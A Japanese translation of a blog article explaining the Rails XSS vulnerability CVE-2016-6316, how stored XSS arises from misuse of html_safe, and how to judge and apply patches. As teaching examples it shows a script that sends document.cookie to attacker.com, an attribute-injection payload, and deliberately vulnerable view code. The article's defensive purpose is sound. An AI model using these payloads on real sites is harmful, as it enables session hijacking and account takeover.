そのパッチをRailsに当てるべきかを考える(翻訳)

こんにちは、hachi8833です。

先週のRailsウォッチで金星を取った「Do I really need to patch my Rails apps? (Understanding CVE-2016-6316)」を翻訳いたしました。

このような手順は、ベテランのフルスタックエンジニアwなら誰しも行っていることですが、ベテランにとっては当たり前のことであるだけに、このように丁寧に手順を解説してくれる記事は貴重です。また、XSS脆弱性のよい解説にもなっています。

なお、翻訳後に文章を最適化していますので、逐次的に原文と訳文が対応しているとは限りません。

また、元記事にはRailsのXSSとセキュリティのチートシートを無料でダウンロードできるフォームもあります。リンクか以下の画像をクリックしてください。

そのパッチをRailsに当てるべきかを考える

原題: Do I really need to patch my Rails apps? (Understanding CVE-2016-6316)
元記事URL: http://ducktypelabs.com/do-i-really-need-to-upgrade-my-rails-apps/
著者: Sid KrishnanはカナダのトロントでDuck Type Labsというコンサルティングを運営する開発者です。

RubyやRailsで出されるセキュリティ勧告では、Railsアプリケーションを「常に」できるだけ早くアップグレードすることを推奨しています。 残念ながら、修正されるセキュリティ問題についての説明はわかりにくいものが多く、アップグレードが本当に必要かどうかを判断するのは簡単ではありません。

時間や工数が限られているのであれば、内容によってはアップグレードを延期し、壊れたテストの修正に余分な時間をかけない方が判断として優れていることもあります。

:本記事における「アップグレード」は、「マイナー」アップグレードと「パッチ」のアップグレードを指します(訳注: 「メジャー」アップグレードは含んでいません)。例: Rails 4.2.5.1から4.2.7.1へのアップグレード

本記事では、Railの5.0.0.1/4.2.7.1/3.2.22.3で修正されるCVE-2016―6316を例にとって説明します。本記事のねらいは次のとおりです。

  • XSS脆弱性の基礎、悪用方法、脆弱性の軽減方法の解説
  • Rails 5.0.0.1/4.2.7.1で解決されるActionViewのXSS脆弱性[CVE-2016―6316]を題材にした個別の問題の理解の仕方の解説
  • アップグレードすべきかどうかを自分で判断する方法の解説

XSSの脆弱性について

XSSはクロスサイトスクリプティング(cross-site scripting)の略です。 アプリケーションにXSSの脆弱性が潜んでいると、攻撃者は悪質なJavascriptをユーザーのブラウザで実行できます。次のようなJavascriptスニペットを例にとってみましょう。

var i = new Image;
i.src = "http://attacker.com/" + document.cookie;

上のスニペットがユーザーのブラウザで実行されると、攻撃者が用意したattacker.comへのリクエストが作成され、ユーザーのcookieが無断で送信されます。攻撃者がcookieを入手すると、ユーザーのセッションをハイジャックして、アプリケーションの保護領域に不正にアクセスするかもしれません。

XSS脆弱性の種類

XSS脆弱性は、大きく分けて以下の3つがあります。

Reflected XSS

Reflected XSS脆弱性は、Webアプリケーションへのリクエストに含まれるユーザー入力が即座にレスポンスに反映されるときに発生します。

Reflected XSSの脆弱性を悪用するには、リクエストを行うすべてのユーザーに反映される埋め込みJavaScriptを書き、それを含むリクエストURLを巧妙に作成します。

Stored XSS

あるユーザー(攻撃者)が送信したデータがアプリケーションに格納され、適切にサニタイズされずに他のユーザーに表示されると、Stored XSS脆弱性が発生します。

DOMベースXSS

DOMベースXSS脆弱性は、リクエストのURLやレスポンスのHTML(DOM経由でアクセス可能)に含まれるデータをクライアント側のJavascriptで抽出して、ページのコンテンツを動的に更新するときに発生します。

DOMベースXSSの脆弱性を悪用するには、クライアント側のJavaScriptから悪質なJavaScriptをDOMに挿入して実行させる能力のある埋め込みJavaScriptを書き、それを含むリクエストURLを巧妙に作成します。

3種類のXSSについて、詳しくはOWASPの該当ページ(英語)をお読みください

この記事では、2番目のStored XSSに絞って解説します。

Stored XSS脆弱性を利用して攻撃する方法

こうした脆弱性がどのように発生する可能性があり、攻撃者がその脆弱性をどのようにして利用する可能性があるかを示す例を、ここで考えてみましょう。

脆弱なRailsアプリ

ユーザーアカウントと管理者アカウントのある、ごく普通のRailsアプリケーションを考えてみましょう。

1件のユーザーレコードには、nameemailintroductionの3つのフィールドがあるとします。各ユーザーには、これらの情報が表示されるプロファイルページがあります。

このシステムの管理者は、個別ユーザーのプロファイルページのほかに、全ユーザーの情報を表示できる/users/ページにもアクセスできます。そのページのビューの冒頭で次のコードが使われているとします。

<% #This is accessible only to admins %>
<% User.all.each do |user| %>
  <%= user.name %>
  <%= user.email %>
  <%= user.introduction %>
<% end %>

さて、ユーザが自己紹介文をHTMLで書けるように改修することが決まったとします。自己紹介(introduction)フィールドに"I'm awesome!!"と書く代わりに"I'm <strong>awesome!!</strong>"と書けるようにするわけです。

そこで(ついうっかり)html_safeヘルパーを使ってuser.introductionuser.introduction.html_safeに変更しましたとしましょう。ユーザーがHTML形式のテキストを送信すると、見事HTMLビューが表示されます。うまくいったように見えます。

攻撃者はこうやって攻略する

上のようなHTMLレンダリングは、攻撃者によって悪用されます。攻撃者がintroductionフィールドに次の文字列を入力したとします。

I am awesome!!
<script>
  var i = new Image;
  i.src = "http://attacker.com/" + document.cookie;
</script>

上の文字列がデータベースに格納されてしまったら最後、管理者がログインして/usersページを表示した瞬間、上のスクリプトが実行され、管理者のcookieが攻撃者のサーバー(attacker.com)のログに記録されてしまうでしょう。

管理者のcookieを盗み出してしまえば、攻撃者が管理者としてログインする可能性はもちろん、もっと悪辣なことをしでかす可能性すらあります。

html_safeで脆弱性を呼び込んでしまう別の例

上では、html_safeによってXSSの脆弱性が呼び込まれる簡単な例を紹介しました。ユーザーが入力を自由にカスタマイズできるようにしたかったばかりに、ユーザー入力にhtml_safeをストレートに適用してしまったのでした。

html_safeによって呼び込まれてしまうXSS脆弱性の例をもうひとつご紹介しましょう。今度は、ユーザーが入力した文字列にスタイルを適用したいとします。先ほどのRailsアプリの/usersページで、今度はFont Awesomeをインストールし、それを使って管理者がユーザーのプロファイルページ上のリンクにスタイルを追加できるようにします。ビューのコードは以下のような感じになるでしょう。

<% User.all.each do |user| %>
  <%= link_to "<i class='fa fa-user'></i> #{user.name}".html_safe, users_profile_path(user) %>
  <%= user.email %>
  <%= user.introduction %>
<% end %>

前述の例と同様、このコードも管理者のアカウントをXSS攻撃にさらすことになります。 攻撃者がnameフィールドにJavaScriptを書いて送信すれば、管理者アカウントにアクセスできてしまう可能性があります。

アプリを危険にさらさずにhtml_safeを使うには

html_safeアサーションであるため、html_safeを「信頼できない文字列」に適用しないことが重要です。html_safeの文字列とhtml_safeでない文字列を連結することはできますが、その場合はhtml_safeでない文字列が確実にエスケープされるよう注意する必要があります。

<%= link_to "<i class='fa fa-user'></i> ".html_safe + "#{user.name}", users_profile_path(user) %>

上のコードであればuser.nameは適切にエスケープされます。これなら、仮に"Bob Foo<script>alert(document.cookie)</script>のような文字列がnameフィールドに入力されても、以下のように期待どおりエスケープされます。

<a href='...'><i class='fa fa-user'></i> Bob Foo&lt;script&gt;alert(document.cookie)&lt;/script&gt;</a>

以下のようなまずい状態にはなりませんので、nameフィールドに注入されたJavaScriptが実行されることはありません。

<a href='...'><i class='fa fa-user'></i> Bob Foo <script>alert(document.cookie)</script></a>

その他に、sanitizeヘルパーメソッドを使う方法もあります。sanitizeでは、レンダリングを許可するHTMLタグを個別に指定し、それ以外のHTMLタグはすべて自動的に拒否されます。

Railsビューに備わっているXSS保護機構

Rails 3以降では、html_safeが指定されていないコンテンツはすべてデフォルトでエスケープされるようになっています。html_safeの指定は、直接html_safeを呼ぶかsanitizeで間接的に行えます。同様に、content_taglink_toなどのActionViewヘルパーに渡される文字列もすべてデフォルトでエスケープされます。

CVE-2016-6316の事例

XSS脆弱性への攻撃方法は非常にたくさんあります。適切にエスケープされていない部分に<script>タグを注入する手法は、その中の1つにすぎません。たとえばでJavaScriptを直接呼び出せるonclickonmouseoverなどのHTML属性を利用することだってできるのです。

それではRailsのcontent_tagメソッドで実際の攻撃手法をご覧いただきましょう。content_tagヘルパーメソッドは、HTMLタグを直接書く代わりにプログラムで生成できます。たとえば<div>タグは次のように生成できます。

content_tag(:div, "hi") 

このコードはHTMLで次のように表現されます。

<div>hi</div>

content_tagに引数を追加すれば、タグ属性を追加できます。title属性を追加したい場合は以下のようにします。

content_tag(:div, "hi", title: "greeting") 

HTMLでは次のように表現されます。

<div title="greeting">hi</div>

さて、ユーザー入力が何らかの理由でこのtitle属性の内容に関連付けられているとしましょう。
つまり、「foo」と入力するとcontent_tagによって次のHTMLが生成されます。

<div title="foo">hi</div> 

ここで仮にcontent_tagにXSS保護がないとしたら、攻撃者はどんなふうに攻略するでしょうか。

たとえば"onmouseover="alert(document.cookie)という文字列を入力すれば、次のようなHTMLが生成されてしまいます。

<div title="" onmouseover="alert(document.cookie)"> hi </div>

ポイントは、文字列冒頭にある二重引用符"です。もしここがエスケープされていなければ、この"が属性の文字列を閉じる引用符としてブラウザで処理され、"の後の文字列がまるごと有効なHTMLとして扱われてしまいます。

  • Railsでは二重引用符"はデフォルトでエスケープされます(content_tagヘルパーでもエスケープされます)。
  • しかしCVE-2016-6316の脆弱性は、content_tagなどのヘルパーでhtml_safeを適用した場合に発生します。

たとえば、ユーザー入力がコントローラからuser_inputインスタンス変数を介してビューに渡され、content_tagが次のように呼び出されるとしましょう。

<%= content_tag(:div, 'hi', title: @user_input) %>

攻撃者が例の"onmouseover=...のような文字列を注入したとしても、二重引用符"はRailsによって自動的にエスケープされ、XSS攻撃は成立しません。

ただし、Rails 4.2.7.1または5.0.0.1より前のバージョンでは、何らかの理由でユーザー入力に次のようにhtml_safeが適用されてしまっていた場合にこの脆弱性が生じます

<%= content_tag(:div, 'hi', title: @user_input.html_safe) %>

上のコードでは二重引用符"が通ってしまうため、エスケープされずにHTMLとしてレンダリングされてしまう可能性があります。つまり、攻撃者が任意のJavaScriptを実行できてしまうことになります。

Rails 4.2.7.1と5.0.0.1用のセキュリティパッチを適用することで、タグヘルパーの属性にhtml_safeを適用してしまっていた場合でも二重引用符"がエスケープされるようになります。

アップグレードすべきかどうかの最終判断

「アップグレードするべきでしょうか?」と聞かれれば、「はい」と答えるのが簡単ですし、間違いようがないのも確かです。セキュリティパッチを含むアップグレードならなおさらです。

アップグレードにセキュリティパッチが含まれていないとしても、今後セキュリティパッチを適用するときの手間を軽減するために、可能な限りアップグレードすべきです。

これについては、現状のRailのバージョンが最近リリースされたセキュリティパッチからどのぐらい古いかによって決まります。Railsのバージョンがセキュリティパッチに近ければ近いほど、アップグレードは楽に行なえます。一般に、セキュリティパッチは現在のコードベースを壊さないように作成されますが、直前までのセキュリティパッチがすべて適用済みでなければ新しいセキュリティパッチは適用できません。

作業時間や工数を確保するのが難しい場合でも、せめてセキュリティ情報と、それに関連するパッチによって修正される脆弱性を理解することには時間を割いてください。コードベースに危険が迫っているかをしっかり調査し、脆弱性を緩和するのに必要な方法があればすべて適用してください。

おすすめの対応方法

最も肝心なのは、「常にセキュリティ情報を収集すること」と「パッチがリリースされたらできるだけ速やかに適用する」ことです。そのために役立つ方法をひとつご紹介します。

bundler-auditはおすすめです。このgemを使うことで、セキュリティ情報のメーリングリストを常にチェックする代わりに、定期的にbundle-audit updateを実行することで最新情報をチェックできます。その代わりbundler-auditの実行そのものを忘れたら何にもなりませんのでご注意ください。

CIを導入しているなら、CIのついでにbundle-auditも実行するとよいでしょう。

古くなったgemがbundler-auditで検出されたら、bundle update <gem名>でgemを更新します。必要であればGemfile.lockファイルを直接修正します。

時間が許す限り、適用したパッチのセキュリティ情報をじっくり読み、その種の脆弱性全般についても時間を作って詳しく調べておくこともぜひおすすめします

本記事を参考にRailsにパッチを適用された方は、ぜひ経過やご感想を(元記事の)コメント欄でお知らせください。Railsのセキュリティについてお知りになりたいことがある方も、ぜひコメント欄にどうぞ。

最後に: 本記事の執筆をすすめてくれたChris Draneと、本記事をレビューしてくれたGabriel Williams(Cloud City)に感謝いたします。

Ruby on RailsによるWEBシステム開発、Android/iPhoneアプリ開発、電子書籍配信のことならお任せください この記事を書いた人と働こう! Ruby on Rails の開発なら実績豊富なBPS

この記事の著者

hachi8833

Twitter: @hachi8833、GitHub: @hachi8833

コボラー、ITコンサル、ローカライズ業界、Rails開発を経てTechRachoの編集・記事作成を担当。
これまでにRuby on Rails チュートリアル第2版の半分ほど、Railsガイドの初期翻訳ではほぼすべてを翻訳。その後も折に触れてそれぞれ一部を翻訳。
かと思うと、正規表現の粋を尽くした日本語エラーチェックサービス enno.jpを運営。
実は最近Go言語が好き。
仕事に関係ないすっとこブログ「あけてくれ」は2000年頃から多少の中断をはさんで継続、現在はnote.muに移転。

hachi8833の書いた記事

BPSアドベントカレンダー

週刊Railsウォッチ

インフラ

BigBinary記事より

ActiveSupport探訪シリーズ